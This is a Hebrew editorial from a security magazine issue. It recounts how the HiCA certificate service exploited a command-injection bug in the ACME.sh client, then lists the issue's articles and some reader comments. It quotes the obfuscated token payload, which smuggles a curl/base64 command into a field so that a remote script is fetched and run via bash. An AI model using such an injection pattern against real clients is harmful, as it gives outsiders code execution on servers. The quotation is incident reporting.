הגליון המאה חמישים ושניים של DigitalWhisper שוחרר!

 
   
ברוכים הבאים לדברי הפתיחה של הגליון ה-152 של DigitalWhisper!
 
הנה ההגדרה של ויקיפדיה לביטוי "להשתין מהמקפצה": 
 
"ביטוי ישראלי הבא לבטא מעשה פסול הנעשה בפומביות מופגנת, תוך שמבצעו אינו חש בושה על מעשיו או שהוא מתייחס בזלזול לדעת הציבור עליהם. האמירה מבוססת על כך שהכל יודעים שרבים מטילים שתן במי בריכת השחייה, מנהג פסול, שקשה למנוע אותו. בעוד הציבור הרחב מעדיף להתעלם ממעשה פסול זה שאין בידו לפעול כנגדו, אותו ציבור לא יעבור על כך בשתיקה אם פלוני יעשה מעשה זהה, השתנה במי הבריכה, מהמקפצה. משמעות אחרת לביטוי היא שבעוד ההשתנה במים היא מעשה נסתר שקשה לשים לב אליו, והמבצע אותו יודע שהוא פסול ומעדיף להסתירו, הרי ש"המשתין מהמקפצה" עושה את המעשה בבוטות, לעיני כל, תוך שהוא אינו חש בושה על מעשהו או מרגיש שהוא חסין להשלכותיו ולדעת הציבור עליו. השימוש בביטוי נועד להשוות בין מעשים פסולים אחרים, הנעשים בדרך כלל בצנעה, לבין מקרה שבו הם נעשים לאור היום."
 
זאת ככל הנראה הייתה ההגדרה הנכונה עד לתחילת החודש, אך כעת נראה שיש סיכוי שהסינים, שוב פעם, הצליחו להגדיר את הביטוי הזה מחדש. לפחות בכל הנוגע לתקיפות סייבר.
 
ב-8 לחודש, חוקר ומפתח בתחום ה-SSL/TLS בשם Matt Holt, זיהה כי שירות סיני בשם HiCA, שעד כה הציג את עצמו כ-CA מתנהג בצורה מעט חשודה. על פי הציוץ שהוא פרסם, הדבר שעורר בו חשד הוא שאותה CA סינית טענה שהיא תומכת רק בסקריפט ACME.sh כקליינט ליצירת בקשות לסרטיפיקטים (מדובר במימוש לקליינט של הפרוטוקול ACME של Let's Encrypt, מקביל ל-Certbot המוכר והאהוב, ב-ShellScript בלבד). מה שחשוד בטענה הזאת היא ש-ACME.sh לא משתמש בפרוטוקול אחר או מיישם פיצ'רים מיוחדים ששאר הקליינטים של ACME לא מממשים, ולכן אם החברה תומכת בו, לא אמורה להיות סיבה שהיא לא תתמוך גם בקליינטים נוספים.
 
ובכן, אז מסתבר שכן יש סיבה. כש-Matt Holt ניסה לגשת ל-Service שאחראי לענות לקליינט, הוא ניסה לוודא על פי ה-UserAgent שאכן מדובר בקליינט הנדרש, אך כש-Matt זייף את הבקשה הוא קיבל את json כתשובה מהשרת. בתשובה, הערך של Token שקיבל היה נראה כך: 
 
Token: dd#acme.hi.cn/acme/v2/precheck-http/123456/654321#http-01#/tmp/$(curl`IFS=^;cmd=base64^-d;$cmd<<
    KeyAuthorization: dd#acme.hi.cn/acme/v2/precheck-http/123456/654321#http-01#/tmp/$(curl`IFS=^;cmd=base64^-d;$cmd<<

 
אממ, כן, אכן, נראה קצת חשוד.
 
התגובה הנ"ל בנויה באופן כזה שהיא מנצלת חולשת Command Injection בקליינט של AMCE.sh. יש כאן קצת אובפוסקציה ועוד כמה טריקים קטנים ומשחקי shell script. אך בסוף, כאשר הקוד הנ"ל מתפרסר ע"י אותו קליינט, הוא גורם לו למשוך סקריפט נוסף מהשרתים של HiCA שמועבר ב-pipe ישירות ל-Bash וכך מורץ על השרת שבסך הכל רצה לקבל תעודת TLS.
 
בשלב זה, הסקריפט שמורץ יכול להיות כל דבר, מפעולה שגרתית כחלק מהפעילות התקינה של השירות ש-HiCA נותנים, ועד סקריפט שמבצע את כל העולה על רוחה של ממשלת סין על השרת שלכם.
 
מבדיקה שחוקר נוסף בשם Mohit ביצע, זה הסקריפט שמורץ (או לפחות זה הסקריפט ש-HiCA החליטו להגיש לאחר ש-Matt התחיל בריחרוח שלו) ע"י HiCA. כמובן שאין לנו את לוגיקת צד השרת של HiCA, ולכן אי אפשר באמת לדעת האם מדובר בקצה קרחון מסריח או סתם ספקית CA תמימה שנחשדה סתם.
 
לדיון שנפתח ב-GitHub, הגיב בחור סיני בשם Bruce Lam, שטוען שהוא ה-Founder של חברת Quantumca (ספקית CA סינית). בתגובה שלו, הוא מודה שהם אכן מצאו את הבאג בקליינט ACME.sh, אכן לא דיווחו עליו, ואכן ניצלו אותו כדי להריץ קוד על השרתים דרך אותו הקליינט הפגיע, אך הם עשו זאת מפני:
 
"Validation process implemented a undisclosures bug, yes, we utilized. But our purpose is to makes the normal CA signing progress into acme.sh possible. We agree this is harmful to acme.sh community but we didn’t inject any attacking codes since the first day of HiCA and to today. Mohlt’s request signing analysis can proof this."
 
והניתוח של התגובה הזאת מעניין מאוד. כי מצד אחד הוא לא מנסה לשחק משחקים או לחמוק מההסברים, הוא מודה ומספר בדיוק מה הם עשו ולמה. זאת גישה שבדרך כלל דוברי אמת ינקטו.
 
מצד שני, המשפט האחרון בתגובה שלו מאוד חשוד, הוא טוען שהמחקר ש-Mohit עשה מוכיח שהם תמימים, כי עובדה שהם לא הריצו עליו שום קוד זדוני. אבל הוא מתעלם לחלוטין מהעובדה שהייתה להם את האפשרות לעשות זאת עבור כל בעל אתר שהשתמש בשירות שלהם, וזה שהייתה להם את האופציה לעשות זאת ובמקרה הנ"ל הם לא עשו - לא מוכיח דבר. שזאת גישה ששקרנים, או לפחות כאלה שיש להם משהו להסתיר ינקטו. מצד שלישי, אם אנחנו חושדים שממשלת סין הוא הגורם מאחורי החברה הזאת והדרך הזו היא עוד דרך שלהם לאסוף Certificate-ים שיעזרו להם אח"כ לעקוב אחרי האזרחים במדינה, כנראה שפסיכולוגיה בשקל לא תהיה הדרך שבה נפצח את החידה הזאת.
 
במהלך הדיון גם התברר שבכלל לא מדובר בחברה שהיא CA אלא שירות שמקבל את בקשת ה-CSR מהלקוח ומעביר אותו הלאה אל חברת CA אמיתית. סוג של CA-In-The-Middle אם תרצו. זאת אולי גם הסיבה למה ה-Certificate של אתר החברה הונפק ע"י חברה אחרת...
 
האם מדובר בחולשה שנוצלה באמת כדי לשפר את השירות של אותה ספקית ואותו Bruce דובר אמת? האם מדובר כאן בעוד שיטה מבריקה של ממשלת סין להגדיל את רשת הריגול שלה באינטרנט? סבירות טובה מאוד שלעולם לא נדע. מה שכן, החבר'ה של ACME.sh הוציאו גרסא עם תיקון לבאג.
 
אה, כן, ואותו Bruce התנצל על האירוע וסגר את החברה שלו, לא לפני שהוא דאג להשאיר את ההודעה הבאה באתרה:
 
"Due to security incidents, HiCA stopped all business since June 6th, 2023. All issued certificates shall consider switch to other CAs service. Deeply sorry to all subscribers."

 
מעניין.
 
ושיהיה בהצלחה לכולנו!
 
ואתם כבר מכירים את הנוהל, שום סיכוי שנעבור אל התוכן הכל כך איכותי שנוצר החודש, במיוחד בשבילכם, מבלי להגיד תודה לכל אותם חוקרים וכותבים, שהשקיעו ממרצם ומזמנם כדי לייצר אותו. אז תודה לכל הכותבים! תודה לנוי פרל, תודה ל-a4ng, תודה ליונתן בר אור, תודה לעדי מליאנקר, תודה ליהונתן אלקבס ותודה לשליו שגן.


 
 
החודש, הגליון כולל את המאמרים הבאים: 
  • Hacking The Hacker’s Tool - Patching Flipper Zero’s Levels For Fun - מאת נוי פרל
    ״Flipper Zero״ הינו משדר-מקלט עבור פנטסטרים וחובבים, שמאפשר התממשקות עם דברים כמו פרוטוקולי רדיו, מערכות IoT, סנסורים ועוד. הוא פתוח לשינויים והתאמה אישית, כך שניתן להרחיב אותו עוד הרבה. הפליפר מבוסס על טמגוצ'י - מתחילים מרמה 1 וככל שעושים יותר פעולות עולים רמות. הפעולות שונות ומגוונות ויכולות להיות קריאת כרטיס NFC, קריאת סיגנל RF משלט ועוד. במאמר זה מציגה נוי מחקר הנדסה לאחור שעשתה על הרכיב שמטרתו הייתה מעקף מנגנון הטמגוצ'י במטרה להצליח לעלות רמות גם מבלי לבצע את הפעולות על המכשיר.

  • טכניקות להזרקת קוד ב-Windows - מאת a4ng
    הזרקת קוד היא טכניקה שבה קטע קוד מוזרק לתהליך רץ כדי לשנות את ההתנהגות שלו. הוא נמצא בשימוש נפוץ ב-Windows ולעיתים מכונה הזרקת DLL מכיוון שהקוד המוזרק הוא בדרך כלל בצורה של קובץ ספריית קישורים דינמיים. עם זאת, ניתן להחדיר לתהליך גם סוגים אחרים של קוד. בעוד שהזרקת קוד נמצאת בשימוש מתמיד על ידי מגוון רחב של יישומים ב-Windows, היא יכולה לשמש גם למטרות זדוניות. במאמר זה מציג a4ng שלוש טכניקות שונות להזרקת קוד בסביבת Windows.

  • דייב מסוכן מאוד - מאת יונתן בר אור
    מאמר זה מסכם פרוייקט Reverse Engineering סוף שבוע שבוצע על ידי יונתן אשר מטרתו היא לפתור סוגייה שהטרידה אותו (ואת רובנו, יש להודות) במשך שנים רבות. הסיפור מתחיל אי שם בשנות ה-90, תקופה זוהרת של דיסקטים, מודמים פרימיטיביים (אם בכלל), כפתורי Turbo, סאונד בלאסטר, והכי חשוב - משחקי DOS! אחד המשחקים המפורסמים מתקופה זו הוא Dave - או יותר נכון "דייב המסוכן". מי ששיחק בו וזכה להגיע לשלב 6 שם לב ששלב הבונוס הסודי שלו, לא מתפקד בצורה רגילה ובכלליות נראה כמו באג רציני במשחק. במאמר זה יונתן מביא לנו סוף סוף את הפתרון לחידה הזאת ומסביר בדיוק מה קרה שם.

  • Mimikatz Internals - מאת עדי מליאנקר ויהונתן אלקבס
    מאמר זה הינו מאמר המשך בסדרת המאמרים על מחקר מנגנוני ההזדהות של מערכת ההפעלה Windows. במאמר הקודם ("Inside LSASS") הציגו עדי ויהונתן את פתרונות ההגנה שחברת Microsoft יישמה בפלטפורמת Windows בשביל למנוע משחקנים התקפיים לחלץ נתונים מתשתית ה-LSA במערכת ההפעלה. המאמר הנוכחי מעביר את הדגש מהצד הכחול אל הצד האדום ושופך אור על בדיוק אותן פעולות לא סטנדרטיות בצורה פרקטית וכיצד ניתן (או לא) לעקוף את מנגנוני האבטחה ולחלץ את הסודות של LSASS. בשביל לממש מטרה זו, יציגו עדי יונתן הסברים על קוד המקור של הכלי Mimikatz, ויסבירו כיצד הוא עובד, מתקשר ומנצל את רכיבי מערכת ההפעלה בשביל להוציא את הסודות של LSASS. במסגרת המחקר, בצמוד למעבר על (המון) קטעי הקוד, יהיו הסברים על מנגנונים פנימיים של מערכת הפעלה ומעבר ברמה מעמיקה על מתודולוגיות התקפיות ברמה הפרקטית.

  • על קוד מקור, בינארי ומה שביניהם - מאת שליו שגן
    אי פעם תהיתם כיצד המחשב מבין את הקוד שאנו כותבים? או איך הוא יודע שהקוד שכתבנו מקיים את כללי התחביר (syntax) של השפה? איך הוא יודע כשיש unreachable code? ובכן, שליו תהה. תהליך ההידור כולל שלבים רבים אותם עובר קוד המקור עד שמגיע לפורמט אותו המחשב יכול להבין, ובשלבים אלה ידון מאמר זה. במאמר זה מציג שליו כיצד המהדר ("הקומפיילר") עובד בצורה המוחשית והברורה ביותר, על ידי כתיבת אחד כזה, בשילוב עם LLVM כדי לייצר את קוד האסמבלי. מומלץ לקרוא את המאמר עם ידע ב-++C משום שבה שליו משתמש כדי את המהדר.
  


תגובות על 'הגליון המאה חמישים ושניים של DigitalWhisper שוחרר!':



#1 

שי (אורח):
גליון מעולה!
הערה קטנה, כתבת לסירוגין HiCN ו-HiCA
נראה לי ש-HiCA הוא הנכון מביהנם (אם כי הדמויין שלהם הוא Hi.CN)
30.06.2023 19:33:28

#2 

oldschooler (אורח):
מאמר מעולה על הרברסינג של דייב. היה כיף לקרוא
01.07.2023 09:44:05

#3 

cP (אורח):
@שי - תוקן. תודה! :)
02.07.2023 00:48:37

#4 

גפן (אורח):
תודה רבה על הפרסום!
30.07.2023 12:48:36



הוסף את תגובתך:
כינוי:
תגובה:
קוד אבטחה:
העתק לכאן את הקוד:
 
Digital Whisper © 2009 - 2024 - כל הזכויות שמורות ל-אפיק קסטיאל ול-ניר אדר.